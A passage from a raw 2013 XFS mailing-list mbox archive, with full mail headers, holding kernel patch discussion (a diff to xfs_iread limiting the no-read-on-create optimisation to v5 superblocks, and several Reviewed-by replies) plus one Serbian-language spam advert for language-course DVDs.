avenue of investigation I can follow. > > > > Indeed, in the time I've taken to write this mail I've thought of > > 2-3 possible causes that I need to investigate.... > > Hi Markus, can you test the patch I just posted to the list titled > "xfs: di_flushiter considered harmful" and see if it fixes your > problem? Archive link here: > > http://oss.sgi.com/pipermail/xfs/2013-July/028331.html Unfortunately no. I still get the same corruption with this patch applied. (It's embarrassing to mention, but please add: Reported-by: Markus Trippelsdorf to the next iteration of this patch. Thanks.) -- Markus From markus@trippelsdorf.de Mon Jul 22 06:07:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2B4967F37 for ; Mon, 22 Jul 2013 06:07:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0FCAC8F8052 for ; Mon, 22 Jul 2013 04:07:36 -0700 (PDT) X-ASG-Debug-ID: 1374491253-04cbb0469112889d0001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id 1pQGYsh1MBCHyRqc (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 22 Jul 2013 04:07:34 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=rj0cXjsDOuaz1kA3l0T9+A3Xgt I1qzzkuCldagu1FlE=; b=MjqysTbJnBnCXC3FAsvd+RiT6xynOPs68xbvN6LFGC JlPiiHo+hIDklb87fWi6CLL4IwRvyPpWhRgG2PD4YZd2xMWx/ZMzqkBVh7d67Oea bkgqrAeLkAQ5b6BKpRw6D1OhhNRtGH3iunRlxpLgCOXB1vbWHJtlLlQfF/MPT2t3 I= Received: (qmail 14508 invoked from network); 22 Jul 2013 13:07:33 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 22 Jul 2013 13:07:33 +0200 Date: Mon, 22 Jul 2013 13:07:32 +0200 From: Markus Trippelsdorf To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: di_flushiter considered harmful Message-ID: <20130722110732.GA365@x4> X-ASG-Orig-Subj: Re: [PATCH] xfs: di_flushiter considered harmful References: <1374488304-13044-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1374488304-13044-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1374491254 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.22 at 20:18 +1000, Dave Chinner wrote: > From: Dave Chinner > > When we made all inode updates transactional, we no longer needed > the log recovery detection for inodes being newer on disk than the > transaction being replayed - it was redundant as replay of the log > would always result in the latest version of the inode woul dbe on > disk. It was redundant, but left in place because it wasn't > considered to be a problem. > > However, with the new "don't read inodes on create" optimisation, > flushiter has come back to bite us. Essentially, the optimisation > made always initialises flushiter to zero in the create transaction, > and so if we then crash and run recovery and the inode already on > disk has a non-zero flushiter it will skip recovery of that inode. > As a result, log recovery does the wrong thing and we end up with a > corrupt filesystem. > > Because we have to support old kernel to new kernl upgrades, we > can't just get rid of the flushiter support in log recovery as we > might be upgrading from a kernel that doesn't have fully transaction > inode updates. Unfortunately, for v4 superblocks there is no way to > guarantee that log recovery knows about this fact. > > We cannot add a new inode format flag to say it's a "special inode > create" because it won't be understood by older kernels and so > recovery could do the wrong thing on downgrade. We cannot specially > detect the combination of zero mode/non-zero flushiter on disk to > non-zero mode, zero flushiter in the log item during recovery > because wrapping of the flushiter can result in false detection. > > Hence that makes this "don't use flushiter" optimisation limited to > a disk format that guarantees that we don't need it. And that means > the only fix here is to limit the "no read IO on create" > optimisation to version 5 superblocks.... I think your patch misses the following part: @@ -1054,17 +1056,15 @@ xfs_iread( /* shortcut IO on inode allocation if possible */ if ((iget_flags & XFS_IGET_CREATE) && - !(mp->m_flags & XFS_MOUNT_IKEEP)) { + !(mp->m_flags & XFS_MOUNT_IKEEP) && + xfs_sb_version_hascrc(&mp->m_sb)) { /* initialise the on-disk inode core */ memset(&ip->i_d, 0, sizeof(ip->i_d)); ip->i_d.di_magic = XFS_DINODE_MAGIC; ip->i_d.di_gen = prandom_u32(); - if (xfs_sb_version_hascrc(&mp->m_sb)) { - ip->i_d.di_version = 3; - ip->i_d.di_ino = ip->i_ino; - uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); - } else - ip->i_d.di_version = 2; + ip->i_d.di_version = 3; + ip->i_d.di_ino = ip->i_ino; + uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); return 0; } -- Markus From jovana.vlasinac@gmail.com Mon Jul 22 08:04:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, SUBJ_ALL_CAPS,T_DKIM_INVALID,T_FRT_CONTACT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8EE947F37 for ; Mon, 22 Jul 2013 08:04:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7D53E8F8052 for ; Mon, 22 Jul 2013 06:04:17 -0700 (PDT) X-ASG-Debug-ID: 1374498252-04cbb046911291660001-NocioJ Received: from mail-ee0-f68.google.com (mail-ee0-f68.google.com [74.125.83.68]) by cuda.sgi.com with ESMTP id cLOYFtjTFlouemUD (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 22 Jul 2013 06:04:12 -0700 (PDT) X-Barracuda-Envelope-From: jovana.vlasinac@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.83.68 Received: by mail-ee0-f68.google.com with SMTP id c1so1664622eek.7 for ; Mon, 22 Jul 2013 06:04:12 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=WXSFHQyvndBExKiUxcjqFcQHHkkJiE1F6F68kAnHsbg=; b=ZhMyfJW8he5rCOpe1nWiwarLC3mBZZvFvJ9KBHtDHJizB9EayX4k4hCcctwKaXoQmk NktQLmV0RDnpoBp0J3Prm29R+4QOvQRJlNXqTIky9H/6gMvzJD8SFtB784KupNazw9o+ FayPa7bS1nqSUZGG45zZZr6bLdAal3yFu49EJO9A5127vdmMNvupavJw/e7j1QG8RugR nOlp5djlEtnNjC/Dw8ahS0FKezQQ6Ih6Z3TjVkbZ8YrrxU5h78fVvFkKQBZGhEfizYPR T3yH0HrdrgPWOw7fUMp9eytc4FITw8mQM3ynCTH7yoTDR+GnZgPavhuR3uG5SwsQBI3W RU2g== MIME-Version: 1.0 X-Received: by 10.15.24.129 with SMTP id j1mr27928574eeu.17.1374498251782; Mon, 22 Jul 2013 06:04:11 -0700 (PDT) Received: by 10.223.36.131 with HTTP; Mon, 22 Jul 2013 06:04:11 -0700 (PDT) Date: Mon, 22 Jul 2013 15:04:11 +0200 Message-ID: Subject: NA POKLON: KOMPLET POSLOVNI ENGLESKI, PLUS JOS DVA RECNIKA ! From: JOVANA VLAISNAC X-ASG-Orig-Subj: NA POKLON: KOMPLET POSLOVNI ENGLESKI, PLUS JOS DVA RECNIKA ! To: officegroup@mediateam.cc Content-Type: multipart/alternative; boundary=089e0160c0280af20004e219509c X-Barracuda-Connect: mail-ee0-f68.google.com[74.125.83.68] X-Barracuda-Start-Time: 1374498252 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --089e0160c0280af20004e219509c Content-Type: text/plain; charset=ISO-8859-2 Content-Transfer-Encoding: quoted-printable MULTIMEDIJALNI KOMPLET ZA UCENJE STRANIH JEZIKA! * * *AKCIJSKA CENA: 1999.0o din. !**** Ukoliko ste ljubitelj stranih jezika, znate nekoliko jezika ili biste voleli da ih naucite, mozete da zamislite situaciju u kojoj sledeci strani jezik koji biste zeleli da naucite pronalazite za nekoliko sekundi u elektronskoj (multimedijalnoj) formi, ne troseci dragoceno vreme na odlazak do skole stranih jezika koje su preskupe ili na kupovinu neproverenih multimedijalnih kurseva po mnogo vecim cenama od ove nase koju mi trenutno nudimo (pr. cena "neproverenog' multimedijalnog kursa za jedan jezik iznosi vise od nase cene za kurs koji cak 27 jezika). *Kursevi za sve jezike su obradjeni detaljno!* *KOMPLET OBRADJUJE 27 STRANIH JEZIKA !* *Sledeci jezici su obuhvaceni ovim programom*: "English(UK), English (US), French, Greek, German, Spanish(Lat.Am.), Spanish (Spain), Italian, Japanese, Latin, Russian, Arabic, Chinese, Danish, Hebrew, Hindi, Indonesian, Korean, Polish, Portuquese, Swahili, Swedish, Thai, Turkish, Vietnamese, Welsh, Dutch". *Sadrzaj kompleta* Sigurno jedan od najkvalitetnijih i najlaksih programa za ucenje stranih jezika na trzistu, veoma jednostavan za upotrebu, dovoljno je da dvd ubacite u racunar i program ce automatski biti pokrenut( nije potrebna nikakva instalacija). Najbolji i najnagradjivaniji multimedijalni program za ucenje kako engleskog tako i ostalih stranih jezika. Ovaj kurs ce poboljsati vase znanje iz nekog od mnogobrojnih obradjenih jezika bez obzira na kom ste nivou, pocetnik ili zelite da usavrsite jezik. Program sadrzi vise kurseva-nivoa za sve jezike: OSNOVNI, SREDNJI, NAPREDNI, POSLOVNI. Sa preko 1000 sati ucenja ovaj program je trenutno najobimniji i najuspjesniji na trzistu. Program obuhvata citanje, pisanje, slusanje, govor, recnik, gramatiku i kulturu. Sam program pravi plan za Vas koliko da vezbate dnevno, proverava koliko ste presli, nivo Vaseg znanja, uci Vas pravilnom izgovoru reci, gramatici, priprema Vas za prave, realne dijaloge, osmisljava diktate za Vas, ukrstenice. Ukoliko imate mikrofon proverava tacnost vaseg izgovora. Uvek cete imati pravi pokazatelj nivoa na kome je Vase znanje, po tome koliko ste presli i sa kojom tacnoscu. Mozete poceti sa ucenjem od osnovnog kursa ili ako ste sigurni u svoje znanje jednostavno preskocite neki od kurseva i predjite na visi nivo a zatim se vratite i obnovite gradivo. Samo od Vas zavisi kako cete organizovati svoje vreme i kojom brzinom cete napredovati. Ovaj program koristi hiljade fotografija pracenih zvukom za obja=B9njenje i predstavljanje novih reci. Kori=B9cenjem ovog programa mo=BEete na vrlo lak= i jednostavan nacin nauciti jedan od mnogobrojnin jezika. Komplet na dvd sadrzi porgram za ucenje 27 stranih jezika u multimedijalnoj formi po promo ceni od 1999,oo rsd (dinara). *Troskove slanja (brzom postom) placamo mi*! Placanje je po preuzimanju narucenog (pouzecem)! *Ukoliko porucite ovu neverovatnu ponudu besplatno cete dobiti kurs poslovnog engleskog na 4 diska (biznis engleski I, II, III i Toefl program za proveru znanja jezika), kao i dva odvojena recnika. Dakle ukoliko porucite odmah dobicete najbolji kurs za ucenje cak 27 stranih jezika i jos 6 gratis diskova za iznos koji je gore naveden (1999,oo rsd). Ne propustite ovu priliku i porucite odmah! * Da biste porucili ovaj nesvakidasnji komplet po promo ceni potrebno je samo da nam dostavite Vase ime i prezime, kontakt telefon i adresu na: *multimedkursjezika@gmail.com* * *Isporuka odmah! ** PROMO cena vazi dok traju zalihe zato pozurite i narucite svoj primerak!= * Izvinjavamo se ukoliko smo Vas slanjem ovog mail-a na bilo koj nacin uznemirili, ako niste zeleli da primite isti molimo Vas da posaljete prazan mail na odjava.mail@gmail.com --089e0160c0280af20004e219509c Content-Type: text/html; charset=ISO-8859-2 Content-Transfer-Encoding: quoted-printable

    MULTIMEDIJALNI KOMPLET<= /span>  ZA  UCENJE    STRANIH JEZIKA!    

    AKCIJSKA CENA: 1999.0o din. !*

     

    Ukoliko ste ljubitelj stranih jezika, znate nekoliko jezika ili biste voleli da ih nauc= ite, mozete da zamislite situaciju u kojoj sledeci strani jezik koji biste zelel= i da naucite pronalazite za nekoliko sekundi u elektronskoj (multimedijalnoj) fo= rmi, ne troseci dragoceno vreme na odlazak do skole stranih jezika koje su presk= upe ili na kupovinu neproverenih multimedijalnih kurseva po mnogo vecim cenama = od ove nase koju mi trenutno nudimo (pr. cena "neproverenog' multimed= ijalnog kursa za jedan jezik iznosi vise od nase cene za kurs koji cak 27 jezi= ka). Kursevi za sve jezike su obradjeni detaljno!

     <= /p>

    KOMPLET OBRADJUJE  27 STRANIH JEZIKA !

     

    Sledeci jezici su obuhvaceni ovim programom: “En= glish(UK), English (US), French, Greek, German, Spanish(Lat.Am.), Spanish (Spain), Italian, Japanese, Latin, Russian, Arabic, Chinese, Danish= , Hebrew, Hindi, Indonesian, Korean, Polish, Portuquese, Swahili, Swedish, Th= ai, Turkish, Vietnamese, Welsh,  Dutch”.

     <= /p>

    Sadrzaj kompleta

    Sigurno jedan = od najkvalitetnijih i najlaksih programa za ucenje stranih jezika na trzistu, = veoma jednostavan za upotrebu, dovoljno je da dvd ubacite u racunar i program ce automatski biti pokrenut( nije potrebna nikakva instalacija).
    Najbolji i najnagradjivaniji multimedijalni program za ucenje kako  engleskog tako i  ostalih stranih jezika. Ovaj kurs ce poboljsati vase znanje iz nekog od mnogobrojnih obradjenih jezika  bez obzira na kom ste nivou, pocetnik ili zelite da usavrsite jezik. Program sa= drzi vise kurseva-nivoa za sve jezike: OSNOVNI, SREDNJI, NAPREDNI, POSLOVNI. Sa preko 1000 sati ucenja ovaj program je trenutno najobimniji i najuspjesniji= na trzistu. Program obuhvata citanje, pisanje, slusanje, govor, recnik, gramat= iku i kulturu. Sam program pravi plan za Vas koliko da vezbate dnevno, proverav= a koliko ste presli, nivo Vaseg znanja, uci Vas pravilnom izgovoru reci, gramatici, priprema Vas za prave, realne dijaloge, osmisljava diktate za Va= s, ukrstenice. Ukoliko imate mikrofon proverava tacnost vaseg izgovora. Uvek c= ete imati pravi pokazatelj nivoa na kome je Vase znanje, po tome koliko ste pre= sli i sa kojom tacnoscu. Mozete poceti sa ucenjem od osnovnog kursa ili ako ste sigurni u svoje znanje jednostavno preskocite neki od kurseva i predjite na visi nivo a zatim se vratite i obnovite gradivo. Samo od Vas zavisi kako ce= te organizovati svoje vreme i kojom brzinom cete napredovati.

    Ovaj program koristi hiljade fotografija pracenih zvukom za obja=B9njenje i predstavljan= je novih reci. Kori=B9cenjem ovog programa mo=BEete na vrlo lak i jednostavan = nacin nauciti jedan od mnogobrojnin jezika.

     <= /p>

    Komplet na dvd sadrzi porgram za ucenje 27 stranih jezika u multimedijalnoj formi po promo ceni od    1999,oo rs= d (dinara).  

    Troskove slanja (brzom postom) placamo mi! Placanje je = po preuzimanju narucenog (pouzecem)!

    Ukoliko porucite ovu neverovatnu ponudu = besplatno cete dobiti kurs poslovnog engleskog na 4 diska (biznis engleski I, II= , III i Toefl program za proveru znanja jezika), kao i dva odvojena recn= ika. Dakle ukoliko porucite odmah dobicete najbolji kurs za ucenje cak= 27 stranih jezika  i jos  6 gratis diskova za iznos koji je gor= e naveden (1999,oo rsd). Ne propustite ovu priliku i porucite odmah! 

     

     

    Da biste porucili ovaj nesvakidasnji komplet po promo ceni potrebno je samo da nam dostavite Vase ime i prezime, kontakt telefon i adresu na:

    multimedkursjezika@g= mail.com

     Isporuka odmah!

     

    * PROMO cena vazi dok traju zalihe zato pozurite i narucite svoj primerak!

    Izvinjavamo se ukol= iko smo Vas slanjem ovog mail-a na bilo koj nacin uznemirili, ako niste zeleli da primite isti  molimo Vas da posaljete prazan mail na odjava.mail@gmail.com<= /p>

     

     

     

    --089e0160c0280af20004e219509c-- From tinguely@sgi.com Mon Jul 22 08:05:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D5BDF7F37 for ; Mon, 22 Jul 2013 08:05:34 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 97828304043; Mon, 22 Jul 2013 06:05:34 -0700 (PDT) Message-ID: <51ED2E1E.5080407@sgi.com> Date: Mon, 22 Jul 2013 08:05:34 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 35/49] xfs: Introduce a new structure to hold transaction reservation items References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-36-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-36-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Jie Liu > > Introduce a new structure xfs_trans_res to hold transaction > reservation item info per log ticket. > > We also need to improve xfs_trans_resv_calc() by initializing the > log count as well as log flags for permanent log reservation. > > Signed-off-by: Jie Liu > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Mon Jul 22 08:22:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B1F227F37 for ; Mon, 22 Jul 2013 08:22:39 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 817B4304043; Mon, 22 Jul 2013 06:22:39 -0700 (PDT) Message-ID: <51ED321F.7080402@sgi.com> Date: Mon, 22 Jul 2013 08:22:39 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 36/49] xfs: Introduce tr_fsyncts to m_reservation References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-37-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-37-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Jie Liu > > A preparation step. > > For now fsync_ts transaction use the pre-calculated log reservation > size of tr_swrite. > This patch introduce a new item tr_fsyncts to mp->m_reservations > structure so that we can fetch the log reservation value for it > in a same manner to others. > > Signed-off-by: Jie Liu > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Mon Jul 22 08:23:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E89777F37 for ; Mon, 22 Jul 2013 08:23:21 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id C5421304043; Mon, 22 Jul 2013 06:23:21 -0700 (PDT) Message-ID: <51ED324A.30302@sgi.com> Date: Mon, 22 Jul 2013 08:23:22 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 37/49] xfs: Make writeid transaction use tr_writeid References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-38-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-38-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Jie Liu > > tr_writeid is defined at mp->m_resv structure, however, it does not > really being used when it should be.. > > This patch changes it to tr_writeid to fetch the correct log > reservation size. > > Signed-off-by: Jie Liu > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Mon Jul 22 08:27:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BABD87F37 for ; Mon, 22 Jul 2013 08:27:45 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8969A8F8040; Mon, 22 Jul 2013 06:27:45 -0700 (PDT) Message-ID: <51ED3351.5010304@sgi.com> Date: Mon, 22 Jul 2013 08:27:45 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 38/49] xfs: refactor xfs_trans_reserve() interface References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-39-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-39-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Jie Liu > > With the new xfs_trans_res structure has been introduced, the log > reservation size, log count as well as log flags are pre-initialized > at mount time. So it's time to refine xfs_trans_reserve() interface > to be more neat. > > Also, introduce a new helper M_RES() to return a pointer to the > mp->m_resv structure to simplify the input. > > Signed-off-by: Jie Liu > Signed-off-by: Dave Chinner > --- > +/* shorthand way of accessing reservation structure */ > +#define M_RES(mp) (&(mp)->m_resv) Not a fan of this define- it does not buy much savings in text and clarity. Beside my anti-shouty rant, the patch looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Mon Jul 22 08:31:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5D40C7F37 for ; Mon, 22 Jul 2013 08:31:10 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 38694304043; Mon, 22 Jul 2013 06:31:10 -0700 (PDT) Message-ID: <51ED341E.4010607@sgi.com> Date: Mon, 22 Jul 2013 08:31:10 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 39/49] xfs: Get rid of all XFS_XXX_LOG_RES() macro References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-40-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-40-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Jie Liu > > Get rid of all XFS_XXX_LOG_RES() macros since they are obsoleted now. > > Signed-off-by: Jie Liu > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Mon Jul 22 08:49:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 72F837F37 for ; Mon, 22 Jul 2013 08:49:40 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3E32E304043; Mon, 22 Jul 2013 06:49:40 -0700 (PDT) Message-ID: <51ED3874.3020601@sgi.com> Date: Mon, 22 Jul 2013 08:49:40 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 40/49] xfs: Refactor xfs_ticket_alloc() to extract a new helper References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-41-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-41-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Jie Liu > > Refactor xlog_ticket_alloc() to extract a new helper, i.e. > xfs_log_calc_unit_res(). > > This helper would be used to calculate the total log reservation > size by adding extra log operation/transation headers for a new > log ticket. > > Signed-off-by: Jie Liu > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Mon Jul 22 08:55:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3A8347F37 for ; Mon, 22 Jul 2013 08:55:44 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 157D5304043; Mon, 22 Jul 2013 06:55:44 -0700 (PDT) Message-ID: <51ED39E0.9030503@sgi.com> Date: Mon, 22 Jul 2013 08:55:44 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 42/49] xfs: Validate log space at mount time References: <1374215120-7271-1-git-send-email-david@fromorbit.com> 